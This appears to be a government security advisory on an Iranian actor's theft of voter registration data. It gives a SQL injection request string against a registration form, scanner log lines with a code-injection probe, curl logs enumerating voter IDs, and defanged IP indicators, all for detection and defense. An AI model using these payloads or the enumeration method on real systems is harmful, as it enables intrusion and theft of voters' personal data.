Iranian Advanced Persistent Threat Actor Identified Obtaining Voter Registration Data

/registration/registration/details?addresscity=-1 or 3*2<(0+5+513-513) -- &addressstreet1=xxxxx&btnbeginregistration=begin voteregistration&btnnextelectionworkerinfo=next&btnnextpersonalinfo=next&btnnextresdetails=next&btnnextvoterinformation=next&btnsubmit=submit&chkageverno=on&chkageveryes=on&chkcitizenno=on&chkcitizenyes=on&chkdisabledvoter=on&chkelectionworker=on&chkresprivate=1&chkstatecancel=on&dlnumber=1&dob=xxxx/x/x&[email protected]&firstname=xxxxx&gender=radio&hdnaddresscity=&hdngender=&last4ssn=xxxxx&lastname=xxxxxinjjeuee&[email protected]&[email protected]&[email protected]&[email protected]&mailaddressstate=aa&[email protected]&[email protected]&middlename=xxxxx&overseas=1&partycode=a&phoneno1=xxx-xxx-xxxx&phoneno2=xxx-xxx-xxxx&radio=consent&statecancelcity=xxxxxxx&statecancelcountry=usa&statecancelstate=XXaa&statecancelzip=xxxxx&statecancelzipext=xxxxx&suffixname=esq&[email protected]

------------------

2020-09-26 13:12:56 x.x.x.x GET /x/x v[$acunetix]=1 443 - x.x.x.x Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 200 0 0 0

2020-09-26 13:13:19 X.X.x.x GET /x/x voterid[$acunetix]=1 443 - x.x.x.x Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 200 0 0 1375

2020-09-26 13:13:18 .X.x.x GET /x/x voterid=;print(md5(acunetix_wvs_security_test)); 443 - X.X.x.x

------------------

2020-10-17 13:07:51 x.x.x.x GET /x/x voterid=XXXX1 443 - x.x.x.x curl/7.55.1 - 200 0 0 1406

2020-10-17 13:07:55 x.x.x.x GET /x/x voterid=XXXX2 443 - x.x.x.x curl/7.55.1 - 200 0 0 1390

2020-10-17 13:07:58 x.x.x.x GET /x/x voterid=XXXX3 443 - x.x.x.x curl/7.55.1 - 200 0 0 1625

2020-10-17 13:08:00 x.x.x.x GET /x/x voterid=XXXX4 443 - x.x.x.x curl/7.55.1 - 200 0 0 1390

------------------

The following IPs have been associated with this activity.

102.129.239[.]185 (Acunetix Scanning)
143.244.38[.]60 (Acunetix Scanning and cURL requests)
45.139.49[.]228 (Acunetix Scanning)
156.146.54[.]90 (Acunetix Scanning)
109.202.111[.]236 (cURL requests)
185.77.248[.]17 (cURL requests)
217.138.211[.]249 (cURL requests)
217.146.82[.]207 (cURL requests)
37.235.103[.]85 (cURL requests)
37.235.98[.]64 (cURL requests)
70.32.5[.]96 (cURL requests)
70.32.6[.]20 (cURL requests)
70.32.6[.]8 (cURL requests)
70.32.6[.]97 (cURL requests)
70.32.6[.]98 (cURL requests)
77.243.191[.]21 (cURL requests and FDM+3.x (Free Download Manager v3) enumeration/iteration)
92.223.89[.]73 (cURL requests)

CISA and the FBI are aware the following IOCs have been used by this Iran-based actor. These IP addresses facilitated the mass dissemination of voter intimidation email messages on October 20, 2020.

195.181.170[.]244 (Observed September 30 and October 20, 2020)
102.129.239[.]185 (Observed September 30, 2020)
104.206.13[.]27 (Observed September 30, 2020)
154.16.93[.]125 (Observed September 30, 2020)
185.191.207[.]169 (Observed September 30, 2020)
185.191.207[.]52 (Observed September 30, 2020)
194.127.172[.]98 (Observed September 30, 2020)
194.35.233[.]83 (Observed September 30, 2020)
198.147.23[.]147 (Observed September 30, 2020)
198.16.66[.]139(Observed September 30, 2020)
212.102.45[.]3 (Observed September 30, 2020)
212.102.45[.]58 (Observed September 30, 2020)
31.168.98[.]73 (Observed September 30, 2020)
37.120.204[.]156 (Observed September 30, 2020)
5.160.253[.]50 (Observed September 30, 2020)
5.253.204[.]74 (Observed September 30, 2020)
64.44.81[.]68 (Observed September 30, 2020)
84.17.45[.]218 (Observed September 30, 2020)
89.187.182[.]106 (Observed September 30, 2020)
89.187.182[.]111 (Observed September 30, 2020)
89.34.98[.]114 (Observed September 30, 2020)
89.44.201[.]211 (Observed September 30, 2020)